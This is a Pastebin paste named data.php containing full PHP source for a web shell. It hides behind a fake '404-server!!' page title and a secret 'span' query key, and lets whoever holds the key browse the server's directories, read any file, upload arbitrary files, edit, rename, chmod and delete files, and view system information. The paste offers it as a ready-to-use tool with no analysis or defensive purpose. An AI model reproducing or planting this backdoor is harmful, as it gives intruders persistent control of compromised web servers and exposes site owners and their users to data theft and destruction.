Advertisement
PalmaSolutions

data.php

Mar 9th, 2019
249
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.03 KB | None | 0 0
  1. <?php
  2. set_time_limit(0);
  3. error_reporting(0);
  4. $id=$_GET['span'];
  5.  
  6. session_start();
  7. if ($id!=''){
  8. // store session data
  9. $_SESSION['views']=$id;
  10. }
  11.  
  12. if($_SESSION['views']!='spanskk'){die();}
  13. if(get_magic_quotes_gpc()){
  14. foreach($_POST as $key=>$value){
  15. $_POST[$key] = stripslashes($value);
  16. }
  17. }
  18. echo '<!DOCTYPE HTML>
  19. <HTML>
  20. <HEAD>
  21. <link href="" rel="stylesheet" type="text/css">
  22. <title>404-server!!</title>
  23. <style>
  24. body{
  25. font-family: "Racing Sans One", cursive;
  26. background-color: #e6e6e6;
  27. text-shadow:0px 0px 1px #757575;
  28. }
  29. #content tr:hover{
  30. background-color: #636263;
  31. text-shadow:0px 0px 10px #fff;
  32. }
  33. #content .first{
  34. background-color: silver;
  35. }
  36. #content .first:hover{
  37. background-color: silver;
  38. text-shadow:0px 0px 1px #757575;
  39. }
  40. table{
  41. border: 1px #000000 dotted;
  42. }
  43. H1{
  44. font-family: "Rye", cursive;
  45. }
  46. a{
  47. color: #000;
  48. text-decoration: none;
  49. }
  50. a:hover{
  51. color: #fff;
  52. text-shadow:0px 0px 10px #ffffff;
  53. }
  54. input,select,textarea{
  55. border: 1px #000000 solid;
  56. -moz-border-radius: 5px;
  57. -webkit-border-radius:5px;
  58. border-radius:5px;
  59. }
  60. </style>
  61. </HEAD>
  62. <BODY>
  63. <H1><center>config root man</center></H1>
  64. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  65. <tr><td>Current Path : ';
  66. if(isset($_GET['path'])){
  67. $path = $_GET['path'];
  68. }else{
  69. $path = getcwd();
  70. }
  71. $path = str_replace('\\','/',$path);
  72. $paths = explode('/',$path);
  73.  
  74. foreach($paths as $id=>$pat){
  75. if($pat == '' && $id == 0){
  76. $a = true;
  77. echo '<a href="?span='.$_SESSION['views'].'&path=/">/</a>';
  78. continue;
  79. }
  80. if($pat == '') continue;
  81. echo '<a href="?span='.$_SESSION['views'].'&path=';
  82. for($i=0;$i<=$id;$i++){
  83. echo "$paths[$i]";
  84. if($i != $id) echo "/";
  85. }
  86. echo '">'.$pat.'</a>/';
  87. }
  88. echo '</td></tr><tr><td>';
  89. if(isset($_FILES['file'])){
  90. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  91. echo '<font color="green">File Upload Done.</font><br />';
  92. }else{
  93. echo '<font color="red">File Upload Error.</font><br />';
  94. }
  95. }
  96. echo '<b><br>'.php_uname().'<br></b>';
  97. echo '<form enctype="multipart/form-data" method="POST">
  98. Upload File : <input type="file" name="file" />
  99. <input type="submit" value="upload" />
  100. </form>
  101. </td></tr>';
  102. if(isset($_GET['filesrc'])){
  103. echo "<tr><td>Current File : ";
  104. echo $_GET['filesrc'];
  105. echo '</tr></td></table><br />';
  106. echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
  107. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  108. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  109. if($_POST['opt'] == 'chmod'){
  110. if(isset($_POST['perm'])){
  111. if(chmod($_POST['path'],$_POST['perm'])){
  112. echo '<font color="green">Change Permission Done.</font><br />';
  113. }else{
  114. echo '<font color="red">Change Permission Error.</font><br />';
  115. }
  116. }
  117. echo '<form method="POST">
  118. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  119. <input type="hidden" name="path" value="'.$_POST['path'].'">
  120. <input type="hidden" name="opt" value="chmod">
  121. <input type="submit" value="Go" />
  122. </form>';
  123. }elseif($_POST['opt'] == 'rename'){
  124. if(isset($_POST['newname'])){
  125. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  126. echo '<font color="green">Change Name Done.</font><br />';
  127. }else{
  128. echo '<font color="red">Change Name Error.</font><br />';
  129. }
  130. $_POST['name'] = $_POST['newname'];
  131. }
  132. echo '<form method="POST">
  133. New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  134. <input type="hidden" name="path" value="'.$_POST['path'].'">
  135. <input type="hidden" name="opt" value="rename">
  136. <input type="submit" value="Go" />
  137. </form>';
  138. }elseif($_POST['opt'] == 'edit'){
  139. if(isset($_POST['src'])){
  140. $fp = fopen($_POST['path'],'w');
  141. $contents=str_replace("{#span#}","&",$_POST['src']);
  142. $contents=str_replace("{#span1#}","+",$contents);
  143. $contents=str_replace("{#span2#}","%",$contents);
  144. if(fwrite($fp,$contents)){
  145. echo '<font color="green">Edit File Done.</font><br />';
  146. }else{
  147. echo '<font color="red">Edit File Error.</font><br />';
  148. }
  149. fclose($fp);
  150. }
  151. echo '<form method="POST">
  152. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  153. <input type="hidden" name="path" value="'.$_POST['path'].'">
  154. <input type="hidden" name="opt" value="edit">
  155. <input type="submit" value="Go" />
  156. </form>';
  157. }
  158. echo '</center>';
  159. }else{
  160. echo '</table><br /><center>';
  161. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  162. if($_POST['type'] == 'dir'){
  163. if(rmdir($_POST['path'])){
  164. echo '<font color="green">Delete Dir Done.</font><br />';
  165. }else{
  166. echo '<font color="red">Delete Dir Error.</font><br />';
  167. }
  168. }elseif($_POST['type'] == 'file'){
  169. if(unlink($_POST['path'])){
  170. echo '<font color="green">Delete File Done.</font><br />';
  171. }else{
  172. echo '<font color="red">Delete File Error.</font><br />';
  173. }
  174. }
  175. }
  176. echo '</center>';
  177. $scandir = scandir($path);
  178. echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  179. <tr class="first">
  180. <td><center>Name</center></td>
  181. <td><center>Size</center></td>
  182. <td><center>Permissions</center></td>
  183. <td><center>Options</center></td>
  184. </tr>';
  185.  
  186. foreach($scandir as $dir){
  187. if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
  188. echo "<tr>
  189. <td><a href=\"?span=".$_SESSION['views']."&path=$path/$dir\">$dir</a></td>
  190. <td><center>--</center></td>
  191. <td><center>";
  192. if(is_writable("$path/$dir")) echo '<font color="green">';
  193. elseif(!is_readable("$path/$dir")) echo '<font color="red">';
  194. echo perms("$path/$dir");
  195. if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
  196.  
  197. echo "</center></td>
  198. <td><center><form method=\"POST\" action=\"?span=".$_SESSION['views']."&option&path=$path\">
  199. <select name=\"opt\">
  200. <option value=\"\"></option>
  201. <option value=\"delete\">Delete</option>
  202. <option value=\"chmod\">Chmod</option>
  203. <option value=\"rename\">Rename</option>
  204. </select>
  205. <input type=\"hidden\" name=\"type\" value=\"dir\">
  206. <input type=\"hidden\" name=\"name\" value=\"$dir\">
  207. <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
  208. <input type=\"submit\" value=\">\" />
  209. </form></center></td>
  210. </tr>";
  211. }
  212. echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  213. foreach($scandir as $file){
  214. if(!is_file("$path/$file")) continue;
  215. $size = filesize("$path/$file")/1024;
  216. $size = round($size,3);
  217. if($size >= 1024){
  218. $size = round($size/1024,2).' MB';
  219. }else{
  220. $size = $size.' KB';
  221. }
  222.  
  223. echo "<tr>
  224. <td><a href=\"?span=".$_SESSION['views']."&filesrc=$path/$file&path=$path\">$file</a></td>
  225. <td><center>".$size."</center></td>
  226. <td><center>";
  227. if(is_writable("$path/$file")) echo '<font color="green">';
  228. elseif(!is_readable("$path/$file")) echo '<font color="red">';
  229. echo perms("$path/$file");
  230. if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
  231. echo "</center></td>
  232. <td><center><form method=\"POST\" action=\"?span=".$_SESSION['views']."&option&path=$path\">
  233. <select name=\"opt\">
  234. <option value=\"\"></option>
  235. <option value=\"delete\">Delete</option>
  236. <option value=\"chmod\">Chmod</option>
  237. <option value=\"rename\">Rename</option>
  238. <option value=\"edit\">Edit</option>
  239. </select>
  240. <input type=\"hidden\" name=\"type\" value=\"file\">
  241. <input type=\"hidden\" name=\"name\" value=\"$file\">
  242. <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
  243. <input type=\"submit\" value=\">\" />
  244. </form></center></td>
  245. </tr>";
  246. }
  247. echo '</table>
  248. </div>';
  249. }
  250. echo '<br />Man Man <br />
  251. </BODY>
  252. </HTML>';
  253. function perms($file){
  254. $perms = fileperms($file);
  255.  
  256. if (($perms & 0xC000) == 0xC000) {
  257. // Socket
  258. $info = 's';
  259. } elseif (($perms & 0xA000) == 0xA000) {
  260. // Symbolic Link
  261. $info = 'l';
  262. } elseif (($perms & 0x8000) == 0x8000) {
  263. // Regular
  264. $info = '-';
  265. } elseif (($perms & 0x6000) == 0x6000) {
  266. // Block special
  267. $info = 'b';
  268. } elseif (($perms & 0x4000) == 0x4000) {
  269. // Directory
  270. $info = 'd';
  271. } elseif (($perms & 0x2000) == 0x2000) {
  272. // Character special
  273. $info = 'c';
  274. } elseif (($perms & 0x1000) == 0x1000) {
  275. // FIFO pipe
  276. $info = 'p';
  277. } else {
  278. // Unknown
  279. $info = 'u';
  280. }
  281.  
  282. // Owner
  283. $info .= (($perms & 0x0100) ? 'r' : '-');
  284. $info .= (($perms & 0x0080) ? 'w' : '-');
  285. $info .= (($perms & 0x0040) ?
  286. (($perms & 0x0800) ? 's' : 'x' ) :
  287. (($perms & 0x0800) ? 'S' : '-'));
  288.  
  289. // Group
  290. $info .= (($perms & 0x0020) ? 'r' : '-');
  291. $info .= (($perms & 0x0010) ? 'w' : '-');
  292. $info .= (($perms & 0x0008) ?
  293. (($perms & 0x0400) ? 's' : 'x' ) :
  294. (($perms & 0x0400) ? 'S' : '-'));
  295.  
  296. // World
  297. $info .= (($perms & 0x0004) ? 'r' : '-');
  298. $info .= (($perms & 0x0002) ? 'w' : '-');
  299. $info .= (($perms & 0x0001) ?
  300. (($perms & 0x0200) ? 't' : 'x' ) :
  301. (($perms & 0x0200) ? 'T' : '-'));
  302.  
  303. return $info;
  304. }
  305. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement